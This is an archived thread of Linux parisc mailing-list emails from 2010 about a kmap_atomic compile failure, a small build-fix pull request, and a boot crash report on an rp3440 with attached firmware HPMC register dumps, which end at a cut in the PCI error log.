	by vger.kernel.org with ESMTP id S1760223Ab0J1Rjn (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Thu, 28 Oct 2010 13:39:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A2F338EE114;
	Thu, 28 Oct 2010 10:39:42 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EfRzFCbvUawm; Thu, 28 Oct 2010 10:39:42 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0E4BC8EE0F8;
	Thu, 28 Oct 2010 10:39:41 -0700 (PDT)
In-Reply-To: <20101028171302.5D8944CFC@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8188 gmane.linux.kernel.mm:54569 gmane.linux.ports.parisc:3199
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8188>

On Thu, 2010-10-28 at 13:13 -0400, John David Anglin wrote:
> > On Thu, 2010-10-28 at 01:18 -0400, John David Anglin wrote:
> > > Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>
> > > 
> > > Sent effectively the same change to parisc-linux list months ago...
> > 
> > You did?  Why didn't you send it to Peter?  When I grumbled at him on
> > IRC for breaking parisc (as well as quite a few other 64 bit
> > architectures in mainline) he had no idea there was a problem.
> 
> For example, it is in the diff recently posted here:
> http://permalink.gmane.org/gmane.linux.ports.parisc/3173
> This diff is from last May.

Um, so that doesn't fix the compile failure.

The specific problem is that kmap_atomic no longer takes the index
argument because Peter moved it to a stack based implementation.  All
our kmap_atomic primitives in asm/cacheflush.h still have the extra
index argument which causes a compile failure.

To fix it, I had to run through a bunch of renames and extra argument
removals.

James



From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] parisc: fix compile failure with kmap_atomic changes
Date: Thu, 28 Oct 2010 14:11:38 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <20101028181139.558BE4D30@hiauly1.hia.nrc.ca>
References: <1288287580.3043.159.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288289504 27203 80.91.229.12 (28 Oct 2010 18:11:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 28 Oct 2010 18:11:44 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-parisc@vger.kernel.org, peterz@infradead.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 28 20:11:42 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBWwv-000799-Ul
	for glpp-linux-parisc@lo.gmane.org; Thu, 28 Oct 2010 20:11:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760794Ab0J1SLl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Oct 2010 14:11:41 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1470 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760717Ab0J1SLk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Oct 2010 14:11:40 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 558BE4D30; Thu, 28 Oct 2010 14:11:38 -0400 (EDT)
In-Reply-To: <1288287580.3043.159.camel@mulgrave.site> from "James Bottomley" at Oct 28, 2010 12:39:40 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3200 gmane.linux.kernel.mm:54571 gmane.linux.kernel.cross-arch:8189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3200>

> The specific problem is that kmap_atomic no longer takes the index
> argument because Peter moved it to a stack based implementation.  All
> our kmap_atomic primitives in asm/cacheflush.h still have the extra
> index argument which causes a compile failure.

Sorry, missed that.  The issue I was trying to address was the lack of
calls to pagefault_disable() and pagefault_enable().

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [git patches] parisc build fix for 2.6.37-rc1
Date: Fri, 29 Oct 2010 14:37:26 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20101029183726.GZ8332@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288377452 29007 80.91.229.12 (29 Oct 2010 18:37:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 29 Oct 2010 18:37:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 29 20:37:29 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PBtpQ-0003GM-70
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Oct 2010 20:37:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758726Ab0J2Sh1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Oct 2010 14:37:27 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:50315 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758459Ab0J2Sh1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Oct 2010 14:37:27 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PBtpO-0000x8-KB; Fri, 29 Oct 2010 18:37:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3201
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3201>

Sorry, looks like I missed a build fix on top of my previous pull
request.

Thanks,
 Kyle

The following changes since commit 18cb657ca1bafe635f368346a1676fb04c512edf:

  Merge branch 'stable/xen-pcifront-0.8.2' of git://git.kernel.org/pub/scm/linux/kernel/git/konrad/xen   and branch 'for-linus' of git://xenbits.xen.org/people/sstabellini/linux-pvhvm (2010-10-28 17:11:17 -0700)

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git next

Kyle McMartin (1):
      parisc-agp: fix missing slab.h include

 drivers/char/agp/parisc-agp.c |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: HPMC in lba_pat_out8 on rp3440
Date: Sun, 31 Oct 2010 13:40:20 -0400
Organization: nrc.ca
Lines: 689
Approved: news@gmane.org
Message-ID: <20101031174018.GA26539@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="uAKRQypu60I7Lcqm"
X-Trace: dough.gmane.org 1288546834 18130 80.91.229.12 (31 Oct 2010 17:40:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 31 Oct 2010 17:40:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 31 18:40:30 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PCbtK-0006AE-QR
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Oct 2010 18:40:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756410Ab0JaRkZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Oct 2010 13:40:25 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1632 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756228Ab0JaRkY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Oct 2010 13:40:24 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AA7334DA1; Sun, 31 Oct 2010 13:40:20 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3202>


--uAKRQypu60I7Lcqm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

After the main hard drive on my rp3440, I have tried to restore
functionality on this machine.  Lenny installed without problems.
Then, I tried upgrading to testing.  All packages installed more
or less ok, but vmlinux-2.6.32-5-parisc64-smp didn't boot.  Tried
building 2.6.36 myself with a config derived from that for
2.6.32-5-parisc64-smp, but it dies in exactly the same way.

Attached hpmc dumps.  It appears that struct pci_hba_data *l is
causes the hpmc.  Maybe defining some of the DEBUG_LBA* macros
would provide more info.

The hard drive that I'm trying to boot from is in a different slot
from the one that I was using before.  However, vmlinux-2.6.26-2-parisc64-smp
boots ok from the drive.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--uAKRQypu60I7Lcqm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hpmc-2010-10-31.txt"

PROCESSOR PIM INFORMATION

Original Product Number:  A7136A
Current Product Number:   A7136A


-----------------  Processor 0 HPMC Information - PDC Version: 46.34  ------ 

Timestamp =   Sun Oct  31 05:46:54 GMT 2010    (20:10:10:31:05:46:54)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x0000000040329434
       0x57000f7300e00000 0x8040004000000000
       0xf600105e00e00000 0xfffffff0f0c00000
       0x140003b200e00000 0x000000000000000b
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0435110


General Registers 0 - 31
00-03  0000000000000000  00000000406dea70  00000000401296d0  000000007f8a0000
04-07  000000001c5d3000  000000000800000f  0000000000000000  000000007bf79c18
08-11  0000000000000000  000000007f838b90  000000001c5d9200  000000001c7aa078
12-15  0000000000000000  0000000000020598  000000000001e118  000000000001d18a
16-19  00000000fb1562d0  000000000001a000  000000000001ac94  0000000000000002
20-23  0000000040653038  0000000000000000  ffffffffc0000000  0000000000100000
24-27  000000000000000a  0000000000348002  000000007f007c00  00000000406c4270
28-31  000000000002c000  000000007f838f20  000000007f838f50  00000000003c8002

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  000000000000006a  0000000000000000  00000000000000c0  0000000000000001
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  00000016e043e208  0000000000000000  0000000040329434  000000000f80109f
20-23  00000000a627fffb  000000004802c000  000000ff0804ff0e  4000000000000000
24-27  00000000005d7000  000000003f802000  eff1ffddadbe93c7  0000000040000b80
28-31  0000000040000b80  eff1ffddadbe93c7  000000007f838000  eff1ffddadbe93c7

Space Registers 0 - 7
00-03  0000000000013800  0000000000000000  0000000000000000  000000000001a800
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000040329438
Check Type                   = 0x20000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x0001a800
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  000000003f058340  000000003f058348  0000000000000000
08-11  000000000800000f  00000000406e5a70  ffffffffc0000000  00000000000001ff
12-15  00000000000000ff  000000007f058300  00000000406e6270  00000000406e6270
16-19  00000000406e8000  0000000040736000  00000000406e6270  00000000406e5270
20-23  000f000000000000  00000000406e5a70  0000000000000000  0000000000000000
24-27  0000000000000000  00000000406e6270  000000007f0583c8  00000000404aefdc
28-31  0000000000000003  0000000000034bc0  0000000000000003  00000000fa000000

PIM Revision                 = 0x0000000000000001                
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x46100b89e43f0503
Check Summary                = 0x8040004000000000
SAL Timestamp                = 0x000000004ccd02ce
System Firmware Rev.         = 0x00000ba20000121a
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x3112022000002008
MIB_STAT                     = 0x0040000000200000
MIB_LOG1                     = 0x0000000000555500
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0x808800007fffbfd8
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0000000000000000
Sharedcache Info2            = 0x0000000000000000
MIB_RSLOG1                   = 0x0000080000000004
MIB_RSLOG2                   = 0x0010010000000000
MIB_RQLOG                    = 0x00002580001e1510
MIB_REQLOGa                  = 0x8000040000000300
MIB_REQLOGb                  = 0x01000aa400000000
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:

-----------------  Processor 1 HPMC Information - PDC Version: 46.34  ------ 

Timestamp =   Sun Oct  31 01:32:30 GMT 2010    (20:10:10:31:01:32:30)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x00000000142e83a4
       0x57000f7300e00000 0x8040004000000000
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0436fc0


General Registers 0 - 31
00-03  0000000000000000  0000000010202800  00000000102186a0  0000000000000000
04-07  0000000010202000  000000007f550150  0000000000000004  0000000000000000
08-11  000000007f0b07a8  000000007f550000  0000000000000010  0000000000000000
12-15  0000000000000004  0000000000000001  000000007f967130  ffffffff80000080
16-19  000000007f0b034a  00000000000003e8  0000000010202000  ffffffffffffffe0
20-23  00000000000000a3  0000000000000004  000000007f0b07a8  0000000000000001
24-27  0000000000000000  000000000000a300  000000007f550000  00000000142e5000
28-31  0000000000000010  000000007f0b08c0  000000007f0b0a10  000000001027c040

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  000000000000005c  0000000000000000  00000000000000c0  000000000000002a
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  000000398d1a0a60  0000000000000000  00000000142e83a4  000000004bfc0028
20-23  00000000a627fe00  0000000000a7c054  000000ff0804ff0f  0000000000000000
24-27  00000000005dd000  000000003fa16000  ffffffffffffffff  0000000040000b80
28-31  ffffffffffffffff  ffffffffffffffff  000000007f0b0000  ffffffffffffffff

Space Registers 0 - 7
00-03  0000000000017000  0000000000000000  0000000000000000  0000000000017000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x00000000142e83a8
Check Type                   = 0x20000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00017000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  00000000401f7b10  000000003f050340  0000000000000000  000000007c3f2540
08-11  000000004021e018  000000007ec05300  0000000000000000  0000000000000002
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  000000007f037000  000000004053efe0
28-31  00000000406c7300  0000000042866a80  0000000000000000  00000000406e8300

PIM Revision                 = 0x0000000000000001                
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x46100b89e43f0503
Check Summary                = 0x8040004000000000
SAL Timestamp                = 0x000000004cccc72e
System Firmware Rev.         = 0x00000ba20000121a
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x3152020008082008
MIB_STAT                     = 0x0040000000100000
MIB_LOG1                     = 0x0000000000555500
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0x808800007fffbfd8
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0000000000000000
Sharedcache Info2            = 0x0000000000000080
MIB_RSLOG1                   = 0x0000088000000004
MIB_RSLOG2                   = 0x0011010000000000
MIB_RQLOG                    = 0x046c80003ffeb930
MIB_REQLOGa                  = 0x8000044000000200
MIB_REQLOGb                  = 0x01000aa400000000
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:

-----------------  Processor 2 HPMC Information - PDC Version: 46.34  ------ 

Timestamp =   Sun Oct  31 01:32:29 GMT 2010    (20:10:10:31:01:32:29)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x000000004031e41c
       0x57000f7300e00000 0x8040004000000000
       0xf600105e00e00000 0xfffffff0f0c00000
       0x140003b200e00000 0x000000000000000b
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0438e70


General Registers 0 - 31
00-03  0000000000000000  00000000406e1300  0000000040128748  000000007f5fc000
04-07  000000001c54f000  000000000800000f  0000000000000001  0000000000000000
08-11  0000000000000000  000000007fa30ba0  000000001c554fe0  000000001837e0b8
12-15  0000000000000000  0000000000020630  000000000001e128  000000000001d18a
16-19  00000000fb4e52d0  000000000001a000  000000000001ac94  0000000000000002
20-23  00000000406586a8  0000000000000000  ffffffffc0000000  0000000000100000
24-27  000000000000000a  0000000000348002  000000007f085a00  00000000406c7300
28-31  000000000002c000  000000007fa30eb0  000000007fa30ee0  00000000003c8002

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  000000000000006a  0000000000000000  00000000000000c0  0000000000000001
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  0000003974c44900  0000000000000000  000000004031e41c  000000000f80109f
20-23  00000000a627fffb  000000004802c000  000000ff0804ff0e  8000000000000000
24-27  00000000005dd000  000000003fa4a000  fffffeffffffffff  0000000040000b80
28-31  fffffffffffeffff  ffffffffffffffff  000000007fa30000  ffffffffffffffff

Space Registers 0 - 7
00-03  0000000000012000  0000000000000000  0000000000000000  000000000001a800
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000004031e420
Check Type                   = 0x20000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x0001a800
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  00000000401f7b10  000000003f050340  0000000000000000  000000007c3f2540
08-11  000000004021e018  000000007ec05300  0000000000000000  0000000000000002
12-15  000000007f054010  000000007f0503e0  000000007f054000  00000000406c7300
16-19  0000000000000002  000000007f050400  000000007f054000  00000000406c7300
20-23  00000000406d7300  00000000406e7b00  000000000000012e  0000000000000000
24-27  0000000000000000  000000000095d6b8  000000007f037000  000000004053efe0
28-31  00000000406c7300  0000000042866a80  0000000000000000  00000000406e8300

PIM Revision                 = 0x0000000000000001                
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x44b44b04543f060a
Check Summary                = 0x8040004000000000
SAL Timestamp                = 0x000000004cccc72d
System Firmware Rev.         = 0x00000ba20000121a
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x31120200c1102008
MIB_STAT                     = 0x0040000000200000
MIB_LOG1                     = 0x0000000000500000
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0xc55b2c1befd0fbdc
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0000000000000000
Sharedcache Info2            = 0x0000000000000000
MIB_RSLOG1                   = 0x0000006000000004
MIB_RSLOG2                   = 0x0000c10000000000
MIB_RQLOG                    = 0x00002580001e1510
MIB_REQLOGa                  = 0x8000003000000200
MIB_REQLOGb                  = 0x01000aa400000000
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:

-----------------  Processor 3 HPMC Information - PDC Version: 46.34  ------ 

Timestamp =   Sun Oct  31 02:14:52 GMT 2010    (20:10:10:31:02:14:52)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x000000004031e41c
       0x57000f7300e00000 0x8040004000000000
       0xf600105e00e00000 0xfffffff0f0c00000
       0x140003b200e00000 0x000000000000000b
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f043ad20


General Registers 0 - 31
00-03  0000000000000000  00000000406e1300  0000000040128748  000000007f620000
04-07  000000001c46a000  000000000800000f  0000000000000001  0000000000000000
08-11  0000000000000000  000000007fa38ba0  000000001c46ffe0  000000001c5470b8
12-15  0000000000000000  0000000000020630  000000000001e128  000000000001d18a
16-19  00000000fb6da2d0  000000000001a000  000000000001ac94  0000000000000002
20-23  00000000406586a8  0000000000000000  ffffffffc0000000  0000000000100000
24-27  000000000000000a  0000000000348002  000000007f085a00  00000000406c7300
28-31  000000000002c000  000000007fa38eb0  000000007fa38ee0  00000000003c8002

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  000000000000006c  0000000000000000  00000000000000c0  0000000000000001
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  000000157f727a8c  0000000000000000  000000004031e41c  000000000f80109f
20-23  00000000a627fffb  000000004802c000  000000ff0804ff0e  0000000000000000
24-27  00000000005dd000  000000003f906000  ffffffffffffffff  0000000040000b80
28-31  ffffffffffffffff  fffffff7ffffffff  000000007fa38000  ffffffffffffffff

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000004031e420
Check Type                   = 0x20000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x0001b000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  00000000401f7b10  000000003f050340  0000000000000000  000000007c3ffe40
08-11  000000004021e018  000000007ec05300  0000000000000000  0000000000000002
12-15  000000007f054010  000000007f0503e0  000000007f054000  00000000406c7300
16-19  0000000000000002  000000007f050400  000000007f054000  00000000406c7300
20-23  00000000406d7300  00000000406e7b00  000000000000012e  0000000000000000
24-27  0000000000000000  000000000095d6b8  000000007f037000  000000004053efe0
28-31  00000000406c7300  0000000042866a80  0000000000000000  00000000406e8300

PIM Revision                 = 0x0000000000000001                
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x44b44b04543f060a
Check Summary                = 0x8040004000000000
SAL Timestamp                = 0x000000004cccd11c
System Firmware Rev.         = 0x00000ba20000121a
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x31520200c9182008
MIB_STAT                     = 0x0040000000100000
MIB_LOG1                     = 0x0000000000500000
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0xc55b2c1befd0fbdc
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0000000000000000
Sharedcache Info2            = 0x0000000000000000
MIB_RSLOG1                   = 0x000000e000000004
MIB_RSLOG2                   = 0x0001c10000000000
MIB_RQLOG                    = 0x00002580001e1910
MIB_REQLOGa                  = 0x8000007000000300
MIB_REQLOGb                  = 0x01000aa400000000
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:

--------------  Memory Error Log Information  --------------

   No errors logged for this bus

------------  I/O Module Error Log Information  ------------

IO Subsystem Log Entries

Found 2 PCI Comp errors
Found 1 PCI Bus error
------------------------------------------------
Detail display of IO subsystem log entries
------------------------------------------

  PCI Component Error information

PCI Component Error 1
--- Section Header ---
GUID
  data1	0xe429faf6
  data2	0x3cb7
  data3	0x11d4
  datat4	0xbc a7 0 80 c7 3c 88 81 
REVISION		0x0200
ERROR_RECOVERY_INFO		0x80
SECTION_LENGTH		0x00000188
VALIDATION_BITS		0x0000000000000023
PCI_COMP_ERROR_STATUS		0x00000000005a2000
PCI_COMP_INFO		0x0000000000004a7c 0x0035103303104100
     Vendor Id/Device Id:                  0x35/1033
     Base Class/Sub Class/Program Interface: 0x41/10/3
     Segment/Bus/Device/Function:          0x0/0/1/0
PCI_COMP_MEM_NUM		0
PCI_COMP_IO_NUM		0
PCI_COMP_REGS_DATA_PAIR
     Address                Data
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000
     0x0000000000000000     0x0000000000000000

PCI_COMP_OEM_DATA_STRUCT
--- Section Header ---
GUID
  data1	0x4f7d86a
  data2	0x598b
  data3	0x4a0a
  data4	0xaa 62 ff 70 73 46 67 4d 
LENGTH		232
PHYSICAL_LOCATION		0xffffffffffffff00
REGISTRATION_NUMBER		0x0000000000000008
CONFIG_REGISTERS_DATA
        Offset    Size   Data
          0        8     0x2210014600351033
          8        8     0x008080200c031041
         16        8     0x0000000080002000
         24        8     0x0000000000000000
         32        8     0x0000000000000000
         40        8     0x0035103300000000
         48        8     0x0000004000000000
         56        8     0x2a01010000000000
          0        0     0x0000000000000000
          0        0     0x0000000000000000
          0        0     0x0000000000000000
          0        0     0x0000000000000000

End of PCI Component Error Information for Error 1

PCI Component Error 2
--- Section Header ---
GUID
  data1	0xe429faf6
  data2	0x3cb7
  data3	0x11d4
  datat4	0xbc a7 0 80 c7 3c 88 81 
REVISION		0x0200
ERROR_RECOVERY_INFO		0x80
SECTION_LENGTH		0x00000188
